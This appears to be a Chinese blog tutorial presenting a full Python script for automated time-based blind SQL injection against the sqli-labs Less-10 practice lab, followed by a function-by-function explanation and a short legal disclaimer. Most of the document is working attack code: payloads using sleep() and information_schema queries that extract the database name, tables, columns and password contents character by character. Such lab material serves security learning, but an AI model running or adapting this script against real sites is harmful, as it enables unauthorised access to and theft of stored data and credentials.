基于python的自动化的sql延时注入脚本
声明:本文所涉及代码仅供学习使用,任何人利用此造成的一切后果与本人无关
自动化的sql延时注入脚本
源码
import requests
import time
import datetime
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
#获取数据库长度
def database_len():
for i in range(1,10):
payload = '?id=1" and if(length(database())>%s,sleep(4),0)--+'%i
url1 = url +payload
#print(url1)
time1 =datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3 = (time2-time1).total_seconds() #计算时间差, 忽略天 只看时分秒 total_seconds() 真正的时间差 包含天
if time3 >= 4:
print(i)
else:
print(i)
break
print('数据库长度为:',i)
#database_len()
#获取数据库名
def datebase_name():
name=''
for i in range(1,9):
for j in p1:
payload='?id=1" and if(substr(database(),%s,1)="%s",sleep(4),1)--+' %(i,j)
url1=url+payload
#print(url1)
time1=datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3=(time2-time1).total_seconds()
if time3 >= 4:
name += j
print(name)
break
n = name
print('数据库名字为:'+n)
#datebase_name()
#获取表
def tables_name():
global table4
table1=''
table2=''
table3=''
table4=''
for i in range(5):
for j in range(1,6):
for t in p1:
payload='?id=1" and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)="%s"),3,0)) --+'%(i,j,t)
url1=url+payload
#print(url1)
time1=datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3=(time2-time1).seconds
if time3 >= 3:
if i == 0:
table1 +=t
print('第一个表为:',table1)
elif i == 1:
table2 += t
print('第二个表为:',table2)
elif i == 2:
table3 +=t
print('第三个表为:',table3)
elif i == 3:
table4 += t
print('第四个表为:',table4)
else:
break
print('第一个表为'+table1)
print('第二个表为'+table2)
print('第三个表为' + table3)
print('第四个表为' + table4)
#tables_name()
#获取表中的字段
def table_column():
global column3
column1=''
column2=''
column3=''
f=table4
for i in range(3):
for j in range(1,9):
for t in p1:
payload='?id=1" and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)="%s"),5,0)) --+'%(f,i,j,t)
url1 =url+payload
#print(url1)
time1 = datetime.datetime.now()
r = requests.get(url=url1)
time2 = datetime.datetime.now()
time3 = (time2 - time1).seconds
if time3 >= 5:
if i == 0:
column1 += t
print('字段一为:'+column1)
elif i == 1:
column2 += t
print('字段二为:'+column2)
elif i == 2:
column3 += t
print('字段三为:'+column3)
else:
break
print('users字段一为:'+column1)
print('字段二为:'+column2)
print('字段三为:',column3)
#table_column()
def s_content():
content1=''
f1= column3
f2= table4
for i in range(20):
for t in p1:
payload = '?id=1" and sleep(if((mid((select %s from %s limit 7,1),%s,1)="%s" ),3,0)) --+'%(f1,f2,i,t)
url1 =url+payload
#print(url1)
time1=datetime.datetime.now()
r = requests.get(url=url1)
time2 = datetime.datetime.now()
time3 = (time2-time1).seconds
if time3 >=3:
content1 += t
print('password字段一内容为:'+content1)
break
print('字段内容为:'+content1)
start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('总花费时间为',end_start_time,'秒')”
源码详解
这段代码是一个Python脚本,用于通过SQL注入漏洞来探测和提取一个Web应用程序的数据库信息。它使用了requests
库来发送HTTP请求,并使用time
和datetime
库来测量响应时间,从而推断出数据库的结构和内容。
导入库
import requests
import time
import datetime
-
requests
: 用于发送HTTP请求。 -
time
和datetime
: 用于测量时间差。
定义URL
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
-
目标URL,用于发送SQL注入请求。
定义字符集
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
-
包含所有可能的字符,用于构造SQL注入的payload。
获取数据库长度
def database_len():
# ...
-
通过逐步增加
length(database())
的值,并测量响应时间来确定数据库名称的长度。
获取数据库名
def datebase_name():
# ...
-
通过逐个字符地探测数据库名称,并测量响应时间来确定每个字符。
获取表名
def tables_name():
# ...
-
通过查询
information_schema.tables
表,并测量响应时间来确定表名。
获取表中的字段
def table_column():
# ...
-
通过查询
information_schema.columns
表,并测量响应时间来确定字段名。
获取字段内容
def s_content():
# ...
-
通过查询特定表的特定字段,并测量响应时间来确定字段的内容。
主程序
start_time = time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time = time.time()
end_start_time = end_time - start_time
print('总花费时间为', end_start_time, '秒')
-
记录开始时间,依次调用上述函数来获取数据库信息,记录结束时间,并计算总耗时。
注意事项
-
SQL注入风险: 这段代码利用了SQL注入漏洞,实际应用中应避免这种不安全的做法。
-
法律和道德: 在未经授权的情况下进行此类操作是违法的,应确保在合法和授权的环境中使用。
-
代码注释: 代码中有大量被注释掉的
print
语句,这些语句可以帮助调试和理解代码的执行过程。
总结
这段代码通过构造特定的SQL注入payload,并利用时间延迟来逐步揭示数据库的结构和内容。虽然这种方法在安全研究中有一定的价值,但在实际应用中应严格遵守法律法规和道德准则。